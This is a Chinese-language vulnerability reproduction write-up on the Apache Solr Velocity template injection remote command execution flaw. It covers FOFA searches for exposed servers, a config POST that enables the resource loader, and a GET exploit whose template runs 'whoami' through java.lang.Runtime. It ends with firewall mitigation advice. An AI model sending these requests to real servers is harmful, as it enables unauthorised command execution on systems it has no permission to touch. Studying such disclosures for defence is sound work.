Apache Solr Velocity模版注入远程命令执行漏洞

0x01漏洞概述

2019年10月末,GitHub代码中安全研究员S00pY发布一个Apache Solr Velocity模版注入远程命令执行的POC,发现网络上出现针对Apache Solr服务器的远程代码执行漏洞。该漏洞是由于Velocity模板存在注入所致(Velocity是一个基于Java的模板引擎,可让使用者通过模板语言引用Java中定义的对象)。攻击者在知道Solr服务器上Core名称后,先把params.resource.loader.enabled设置为true(就可加载指定资源),再进行远程执行命令。

0x02漏洞影响

Apache Solr 5.x到8.2.0均受影响

0x03漏洞复现

1、在FOFA中搜索app="Solr" 可以找到solr服务器的分布情况。

从目前情况来看,攻击者需要先获取Solr服务中的Core名称才能执行攻击,例如某个存在权限管控不严的Solr的服务器。我们可以从LoggingCore admin栏目得知Core名称。

在Core admin中获取

Apache Solr Velocity模版注入远程命令执行漏洞_第1张图片

在Logging中获取

Apache Solr Velocity模版注入远程命令执行漏洞_第2张图片

2、访问Core的config配置信息时,通过POST请求把params.resource.loader.enabled设置为True,再通过精心构造的get请求即可RCE,此时用户就可以加载指定资源,构造一个能执行命令的恶意请求,如下图

Apache Solr Velocity模版注入远程命令执行漏洞_第3张图片

 

 

POC如下:

POST /solr/xxxx/config HTTP/1.1
Host: ip:port
Connection: close
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: xxxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 273

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

进而构造GET请求攻击,执行whoami

Apache Solr Velocity模版注入远程命令执行漏洞_第4张图片

 

EXP

GET /solr/xxxx/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: IP:PORT
Connection: close
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://xxxx/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

0x04漏洞修复建议

官网暂未发布相关漏洞补丁,及时关注官网更新。

建议使用Solr的用户设置防火墙白名单策略,只允许需要通讯IP以防止被人攻击。

0X05参考链接

https://nosec.org/home/detail/3113.html

https://www.freebuf.com/column/218680.html

你可能感兴趣的:(漏洞复现,渗透测试,Apache,Solr,远程命令执行)